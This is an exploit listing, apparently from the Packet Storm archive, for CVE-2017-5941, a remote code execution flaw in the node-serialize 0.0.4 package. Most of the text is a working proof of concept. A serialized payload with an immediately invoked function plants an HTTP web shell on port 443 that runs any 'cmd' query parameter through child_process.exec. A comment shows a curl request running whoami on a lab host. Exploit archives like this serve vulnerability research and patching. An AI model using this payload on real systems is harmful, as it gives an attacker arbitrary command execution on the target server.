Lucene search

K
packetstormBeren Kuday GorunPACKETSTORM:163222
HistoryJun 18, 2021 - 12:00 a.m.

Node.JS Remote Code Execution

2021-06-1800:00:00
Beren Kuday Gorun
packetstormsecurity.com
129
node.js
remote code execution
cve-2017-5941
serialize
windows
ubuntu

EPSS

0.04

Percentile

92.3%

`# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (3)  
# Date: 17.06.2021  
# Exploit Author: Beren Kuday GORUN  
# Vendor Homepage: https://github.com/luin/serialize  
# Software Link: https://github.com/luin/serialize  
# Version: 0.0.4  
# Tested on: Windows & Ubuntu  
# CVE : 2017-5941  
  
var serialize = require('node-serialize');  
var payload = {  
"webShell" : "_$$ND_FUNC$$_function(){const http = require('http'); const url = require('url'); const ps = require('child_process'); http.createServer(function (req, res) { var queryObject = url.parse(req.url,true).query; var cmd = queryObject['cmd']; try { ps.exec(cmd, function(error, stdout, stderr) { res.end(stdout); }); } catch (error) { return; }}).listen(443); }()"  
}  
serialize.unserialize(serialize.serialize(payload))  
  
/*  
# after being exploited  
  
ā”Œā”€ā”€(root@kali)-[/home/kali]  
ā””ā”€# curl http://10.0.2.4:443?cmd=whoami  
nodeadmin  
  
*/  
  
`